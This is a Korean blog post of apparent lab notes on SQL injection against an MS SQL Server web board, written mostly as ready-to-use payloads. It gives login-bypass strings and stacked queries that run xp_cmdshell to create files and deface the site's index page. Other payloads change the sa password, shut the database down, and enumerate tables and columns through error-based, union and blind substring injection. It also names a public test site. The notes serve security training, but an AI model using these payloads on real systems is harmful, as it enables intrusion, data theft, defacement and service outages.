1. 인증우회
(1) 우회 패턴
or 'abc'='abc'
or 'ab'='a'+'b'
or 2>1
or 1=1
(2) 주석문 이용 우회
'--
)'--
';--
2. 시스템 명령어 실행
두가지 이상 명령어를 실행할때에는 세미콜론(;)을 사용한다.
exec : sql문이나 프로시저를 실행할 때 앞에 위치하여 사용하는 명령어.
[폴더생성] admin';exec master..xp_cmdshell 'md c:\inetpub\wwwroot\board\abc'--
-> mkdir
[파일생성] ';exec master..xp_cmdshell 'echo defaced by SSS > c:\inetpub\wwwroot\index.html'--
[HTML 페이지 생성] admin';exec master..sp_makewebtask 'c:\inetpub\wwwroot\sql.html','select * from board..member'--
[암호변경] ';exec sp_password '111111','222222','sa'--
[DB 다운 ] 'shutdown--
3. 테이블 명 획득
- group by 절이 어떤 칼럼을 기준으로 그룹을 만들때 having은 결과를 한번더 필터링하는 역할을한다.
select절의 where와 비슷하다.
[테이블 및 필드명 획득] 'having 1=1--
4. 컬럼 명 획득
- 컬럼명을 추가적으로 획득하기 위해서는 최소한 하나의 컬럼을 알고 있어야 한다.
[다른 필드명 획득] 'group by [컬럼명]--
[추가 필드명 획득 'group by [컬럼명],[컬럼명]--
.
.
.
.
.
.
.
.
[실습] member 테이블과 bbs 테이블 컬럼명을 모두 추출하시오.
5. 컬럼 타입 획득
- UNION과 sum() 함수를 이용하여 필드 타입을 알 수 있다.
[쿼리분석기] select sum(idx) from member
[쿼리분석기] select sum(bId) from member
[컬럼 데이터형 획득] 'union select sum(bId) from member
[실습] member 테이블과 bbs 테이블 컬럼의 데이터형을 모두 추출하시오.
6. 계정 획득하기
- 테이블 명과 컬럼명을 획득한 후, union 연산을 통해 결과 값이 게시판에 출력할 수 있다.
- union 은 복합적인 쿼리의 결과를 합하여 출력하기 때문에 필드의 개수가 일치해야 하고,
필드의 타입이 일치해야 한다.
# union 은 중복데이터를 하나만 표기, union all 은 중복데이터를 모두 표시
[실습] 마구마구 게시판에 존재하는 모든 계정의 id,pw를 획득하시오.
7. 테이블 내용 조작하기(계정추가하기)
[실습] sql injection을 사용해서 계정을 추가해보자.
-----------
1. 에러 구문 발생
group by having
'having 1=1--
-> 테이블명 첫번째 컬럼 확인
2. 컬럼명을 추출
group by : 특정 컬럼을 집계/요약하기 위해 사용
'group by idx--
member.bId
idx,Bid,bPass????
'group by idx,bId,bPass, ~~~bDate--
'group by idx, bId, bPass, bName,bPost, bAddr1,bAddr2, bPhone, bMail, bDate --
-> 해당 컬럼 수 확인 에러가 아니라 팝업창이 뜨는 걸 보고 확인
' group by idx, tId, tName, tMail, tTitle, tContent, tfilename, tfilepath, tRead, tDate--
-> 검색창에서 컬럼 수 확인
'order by 10 --
-> 추측한 컬럼수가 맞는지 확인
-> 9도 문제 없이 뜨지만 실질적으로는 에러 나기 전까지가 컬럼의 개수이다
2. 컬럼명 데이터 추출
'union select 1, 2, nul,null,null... -> 컬럼의 데이터 타입 확인
'union select 1,'a','b','c','d','e','f','g','h',1 from member --
-----------
방어
404 : 요청한 페이지를 찾을 수 없다 ( 클라이언트 오류-요청에 대한 오류)
500 : 서버 오류
-> 500,500;100 에러를 404에러로 바꾸어서 에러가 뜨지 않게 방어
-> 제어판 -> 관리 도구 -> 인터넷 서비스 관리자 -> 해당서버 등록 정보 -> 오류 처리 탭
------
Blind SQL Injection
-> 에러 구문이 없어도 공격 가능
' and 1=1--
' and 1=2--
1. db명
' and db_name()='board'--
' and db_name()='board'--
' and substring(db_name(),1,1)='b'--
' and substring(db_name(),2,1)='o'--
' and substring(db_name(),3,1)='a'--
' and substring(db_name(),4,1)='r'--
' and substring(db_name(),5,1)='d'--
...
' and substring(db_name(),8,1)=''-- // db명 문자 수 확인
substring 함수 : 문자열에서 특정 부분을 반환하는 함수
substring(가져올 문자열, 시작할 순서, 가져올 문자수)
2. 테이블명
select * from sysobjects;
xtype
u : 사용자 테이블
s : 시스템 테이블
l : 로그
v : 뷰
select * from sysobjects where xtype='U';
select name from sysobjects where xtype='U';
select top 1 name from sysobjects where xtype='U';
-> 맨 위에 것만
member
bbs
' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='m'--
' and substring((select top 1 name from sysobjects where xtype='U'),6,1)=''--
sysobjects : db에서 만들어진 각 개체에 대한 정보 조회
컬럼에 대한 정보를 포함 테이블을 가져올 때 사용
3. 컬럼
select * from syscolumns
syscolumns : 모든 테이블 및 뷰의 모든 컬럼에 대한 한 레코드 값 확인
select * from sysobjects where xtype='U';
select * from syscolumns where id=(select id from sysobjects where name like 'member');
select name from syscolumns where id=(select id from sysobjects where name like 'member');
select top 3 name from syscolumns where id=(select id from sysobjects where name like 'member');
select * from syscolumns where id=(select id from sysobjects where name like 'bbs');
select substring((select top 1 name from syscolumns where id=(select id from sysobjects where name like 'member')),1,1);
' and substring((select top 1 name from syscolumns where id=(select id from sysobjects where name = 'member')),1,1)='b'--
------------
http://testasp.vulnweb.com/showforum.asp?id=0
'and select * from sysobjects --
'group by uname --
'group by uname, upass --
uname upass
...
...
'Web' 카테고리의 다른 글
wapple / APT (0) | 2014.11.14 |
---|---|
SQL / personal data (0) | 2014.11.13 |
SQL Injection (0) | 2014.11.11 |
file download (0) | 2014.11.10 |
webshell and defense of it (0) | 2014.11.06 |